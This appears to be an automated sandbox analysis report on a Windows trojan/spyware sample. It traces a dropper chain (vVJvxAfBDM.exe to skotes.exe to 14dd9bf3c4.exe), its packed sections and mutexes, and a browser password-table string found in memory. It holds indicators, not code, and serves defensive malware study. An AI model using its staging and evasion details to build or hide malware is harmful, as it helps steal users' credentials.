Source: vVJvxAfBDM.exe	Static PE information: Section: ZLIB complexity 0.9996170343137255
Source: vVJvxAfBDM.exe	Static PE information: Section: lgwdmqcm ZLIB complexity 0.9944777541579263
Source: random[1].exe.7.dr	Static PE information: Section: .bss ZLIB complexity 1.0003244500411184
Source: 14dd9bf3c4.exe.7.dr	Static PE information: Section: .bss ZLIB complexity 1.0003244500411184

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@13/7@2/6

Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\WUBOQWJA.htm

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2092:120:WilError_03

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe

File created: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: vVJvxAfBDM.exe, 00000000.00000003.1367787579.0000000005E1E000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1390565925.0000000005E29000.00000004.00000800.00020000.00000000.sdmp, vVJvxAfBDM.exe, 00000000.00000003.1367407972.0000000005E3A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2132110872.000000000342E000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106582405.000000000341A000.00000004.00000800.00020000.00000000.sdmp, 14dd9bf3c4.exe, 0000000C.00000003.2106187488.0000000003437000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: vVJvxAfBDM.exe	Virustotal: Detection: 56%
Source: vVJvxAfBDM.exe	ReversingLabs: Detection: 57%

Source: SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe

File read: C:\Users\user\Desktop\vVJvxAfBDM.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\vVJvxAfBDM.exe "C:\Users\user\Desktop\vVJvxAfBDM.exe"
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Process created: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe "C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe"
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Process created: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe "C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe"
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe "C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe"
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Process created: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe "C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe"
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Process created: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe "C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe"	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Process created: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe "C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe "C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Process created: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe "C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe"	Jump to behavior

Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\vVJvxAfBDM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1024087001\14dd9bf3c4.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: vVJvxAfBDM.exe

Static file information: File size 1880576 > 1048576

Source: vVJvxAfBDM.exe

Static PE information: Raw size of lgwdmqcm is bigger than: 0x100000 < 0x1a1200

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe	Unpacked PE file: 3.2.SE8DUIYH2DJRQJQVG26UJ4PK38GVNP5.exe.280000.0.unpack :EW;.rsrc:W;.idata :W;frhnetpr:EW;tbiteucn:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;frhnetpr:EW;tbiteucn:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\KXEO11ILDTYX6ZOG0B.exe	Unpacked PE file: 5.2.KXEO11ILDTYX6ZOG0B.exe.6d0000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 7.2.skotes.exe.7a0000.0.unpack :EW;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;guulvnfq:EW;wreswaoh:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random[1].exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x88ff0
